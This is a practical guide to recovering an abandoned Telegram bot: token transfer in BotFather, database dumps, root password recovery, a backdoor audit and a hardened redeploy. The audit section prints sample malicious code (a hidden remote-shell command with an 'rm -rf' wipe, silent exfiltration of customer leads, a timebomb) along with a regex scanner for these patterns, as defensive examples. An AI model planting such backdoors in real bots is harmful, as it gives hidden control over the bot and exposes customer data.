Rescuing a Telegram bot when the developer disappears: token takeover, database dump, backdoor audit, redeploy
The developer is gone and the server expires in 48 hours: take over the token, dump the database, scan the code for backdoors, redeploy under your control.
A freelancer or agency builds a Telegram bot. The system runs, clients place orders, and the username is printed on physical marketing materials. Then the developer stops responding, and the hosting provider sends a notice that the server will be deleted in 48 hours.
The business risk of an abandoned project
Owners tend to assume the source code is the asset. A standard bot written in Python or Node.js represents a fraction of the total cost and can be rewritten by an engineer in a few days.
The actual assets at risk are:
- Subscriber base (user_id): The platform offers no export button. Without the server database, you cannot message existing users.
- Username (@username) and chat history: The entry point known to clients and search engines.
- State and financial records: User balances, unpaid invoices, and abandoned carts.
Rescue scenarios by access level
Determine which assets are under your direct control before acting.
| Business assets | Primary risk | Urgency | Immediate action |
|---|---|---|---|
| Access to @BotFather and source code | Database remains on the developer’s server | High (before virtual server expires) | Dump the database, migrate to a new server, reissue token and start the service |
| Server access only, token with developer | Developer can change token or hijack the bot | Critical | Request Transfer Ownership in BotFather, perform a full disk backup |
| Access to @BotFather only | Complete loss of functionality when server stops | Emergency | Locate hosting invoices, restore server access via provider support |
| No access | Loss of the project | Catastrophic | Issue a legal claim, launch a parallel replacement bot |
Taking over the token in @BotFather
Whoever controls the Bot API token controls the bot, so this step comes first.
Scenario A: The bot was created from your account
If you opened @BotFather, sent the /newbot command, and gave the token to the programmer, you are the owner.
Rule: Do not press the revoke token button immediately. If you revoke the token, the running process will throw a 401 Unauthorized error and stop.
The correct sequence:
- Provision a clean virtual server.
- Deploy the source code and import the database.
- Verify the deployment is ready.
- Open @BotFather, navigate to your bots, select the bot, go to API Token, and revoke the current token.
- Copy the new token into the configuration file on your new server and start the service.
Downtime for users will be under 60 seconds.
Scenario B: The bot is registered to the developer
If the developer created the bot from their device, they own it. They can revoke the token or sell the bot.
You must process a formal transfer via Transfer Ownership.
- The developer opens @BotFather.
- Sends the command to list bots and selects the bot.
- Navigates to Bot Settings, Transfer Ownership, and chooses the recipient.
- Specifies your username or forwards a contact.
- Confirms the action with a two-factor authentication password.
Platform technical constraints:
- The sender must have two-factor authentication enabled for at least 7 days.
- The sender’s session must be active on the device for at least 24 hours.
- The recipient must send at least one message to the bot and not block it.
Message template for the developer:
"Hello. We need to transfer the bot to the corporate environment for security auditing.
Please transfer ownership in @BotFather to our official account @my_ceo_account.
This takes one minute: list bots -> select bot -> Bot Settings -> Transfer Ownership -> enter @my_ceo_account.
After the transfer, we will relieve you of all server support obligations."
Saving the database while the server is alive
Code can be rewritten. The user database cannot.
Hot backup of SQLite
Most small bots use an embedded SQLite database.
Copying the file directly is dangerous. If the bot is running, SQLite uses Write-Ahead Logging. Data is distributed across three files. A standard file copy will result in a corrupted database.
Use the built-in tool for a hot backup:
# Create a consistent database snapshot without stopping the bot
sqlite3 /home/tgbot/app/data/bot.db ".backup /root/bot_backup_clean.db"
# Verify the integrity of the backup
sqlite3 /root/bot_backup_clean.db "PRAGMA integrity_check;"
# The response must be: ok
Exporting PostgreSQL or MySQL
If the bot uses a standard database engine:
# PostgreSQL dump with schema and data
pg_dump -U postgres -h localhost -d bot_production_db -F c -b -v -f /root/bot_pg_dump.dump
# MySQL or MariaDB export to a compressed archive
mysqldump -u root -p bot_production_db | gzip > /root/bot_mysql_dump.sql.gz
Recovering access through the hosting control panel
If the developer did not provide SSH keys but you have access to the hosting control panel:
- Open the control panel and find the console interface. This provides web-based monitor access bypassing SSH.
- Most providers offer a root password reset button. The system will remount the disk and set a temporary password.
- If there is no reset button, boot the server into rescue mode and execute:
# Mount the system disk in rescue mode
mount /dev/vda1 /mnt
# Change the root environment
chroot /mnt
# Change the administrator password
passwd root
# Exit and reboot into the main system
exit
reboot
Auditing third-party code for backdoors
Never run unverified code on a new server. A contractor might leave hidden mechanisms in the source. We regularly find four types of malicious constructs during code audits.
Hidden superuser commands
The code grants unlimited rights to a specific user ID:
# DANGER: hidden backdoor for remote shell execution
@dp.message(F.from_user.id == 987654321) # Developer ID
async def secret_admin_backdoor(message: types.Message):
if message.text.startswith("/exec "):
cmd = message.text.replace("/exec ", "")
output = subprocess.check_output(cmd, shell=True).decode()
await message.answer(f"Output:\n{output}")
elif message.text == "/wipe_clean":
os.system("rm -rf /var/data/* && reboot")
Silent data exfiltration
The bot sends a client request to your CRM but duplicates the phone number and name to a private channel:
# DANGER: hidden personal data leak
async def handle_order(message: types.Message):
# Send to customer chat
await bot.send_message(CUSTOMER_CHAT_ID, f"New order: {message.text}")
# Shadow exfiltration of contacts
try:
await bot.send_message(DEV_LEAD_CHANNEL_ID, f"Lead leak: {message.from_user.id} | {message.text}")
except Exception:
pass # The bot will not crash if the channel is unavailable
Timebombs
Code designed to crash the bot after a specific date, forcing the client to request paid repairs:
# DANGER: artificial project shutdown by timestamp
from datetime import datetime
if datetime.now() > datetime(2026, 11, 15):
# Simulated database failure or network timeout
raise RuntimeError("Critical database connection timeout. Service aborted.")
Automated Python code scanner
Run this static analysis script in the project folder to avoid reading thousands of lines manually:
# audit_bot_security.py — security audit script
import os
import re
from pathlib import Path
SUSPICIOUS_PATTERNS = [
(r"subprocess\.(Popen|run|call|check_output)", "Terminal command execution"),
(r"os\.system\(", "Direct OS shell execution"),
(r"eval\(|exec\(", "Dynamic code execution"),
(r"from_user\.id\s*==\s*\d{6,12}", "Hardcoded user ID (potential backdoor)"),
(r"requests\.(post|get)\([\"']https?://(?!api\.telegram\.org)", "Suspicious external network request"),
(r"datetime.*[><].*datetime\(202\d", "Suspected timebomb"),
]
def scan_project(directory: str):
print(f"=== Project security scan: {directory} ===\n")
found_threats = 0
for path in Path(directory).rglob("*.py"):
if "venv" in str(path) or ".git" in str(path):
continue
try:
content = path.read_text(encoding="utf-8", errors="ignore")
for line_idx, line in enumerate(content.splitlines(), start=1):
for pattern, desc in SUSPICIOUS_PATTERNS:
if re.search(pattern, line):
print(f"[!] {desc}")
print(f" File: {path.name}:{line_idx}")
print(f" Code: {line.strip()}\n")
found_threats += 1
except Exception as ex:
print(f"Read error {path}: {ex}")
if found_threats == 0:
print("No suspicious patterns found by this scanner; read the entry points by hand anyway.")
else:
print(f"Warning: found {found_threats} potential vulnerabilities. Manual audit required.")
if __name__ == "__main__":
scan_project(".")
Production deployment on a secure server
After securing the database and verifying the code, move the project to your own server.
Server provisioning and permission isolation
Provision a standard cloud virtual server running Ubuntu 22.04 or 24.04.
Do not run the bot as root. A vulnerability in a dependency would give an attacker full control over the server.
# Create an unprivileged system user
useradd -m -s /bin/bash tgbot
# Switch to the home directory and clone the verified code
su - tgbot
mkdir -p /home/tgbot/app && cd /home/tgbot/app
# Deploy the virtual environment
python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
Protecting environment variables
Tokens, database passwords, and payment gateway keys must be stored in an environment file, not in the code.
# Create the secrets file
cat << 'EOF' > /home/tgbot/app/.env
BOT_TOKEN=123456789:AAFgH...
ADMIN_ID=112233445
DATABASE_URL=sqlite+aiosqlite:///data/bot.db
EOF
# Restrict read access to other system users
chmod 600 /home/tgbot/app/.env
Configuring a resilient system service
Create a systemd service so the bot starts on boot and restarts after crashes.
Create the file /etc/systemd/system/tgbot.service:
[Unit]
Description=Production Telegram Bot Service
After=network.target
[Service]
Type=simple
User=tgbot
Group=tgbot
WorkingDirectory=/home/tgbot/app
EnvironmentFile=/home/tgbot/app/.env
ExecStart=/home/tgbot/app/venv/bin/python main.py
Restart=always
RestartSec=5s
KillMode=mixed
LimitNOFILE=65535
# Memory limits
MemoryMax=1G
[Install]
WantedBy=multi-user.target
Enable and start the service:
systemctl daemon-reload
systemctl enable tgbot
systemctl start tgbot
# Check service status
systemctl status tgbot
Rules that remove the single-freelancer dependency
- Corporate account registration: The bot must be created using a company phone number. The account must have two-factor authentication enabled.
- Corporate server billing: The virtual server must be paid from a corporate account, and management must have access to the hosting control panel.
- Source code in a corporate repository: The code is stored on the company Git server. Developers receive branch access, and commits are pushed daily.
- Environment separation: Developers test features on a separate test token. The production token is deployed without programmer involvement.
- Secret isolation: Payment keys, CRM credentials, and the bot token are stored in a
.envfile secured withchmod 600and added to.gitignore. - Automated database backups: A script sends an encrypted database dump to an independent object storage bucket daily.
- External monitoring: An independent monitor alerts management if the bot stops responding for more than 2 minutes.
- Do you control the corporate account used to register the bot in BotFather?
- Are your database credentials and tokens isolated from the codebase?
- Is there an automated backup system saving your user data off-site?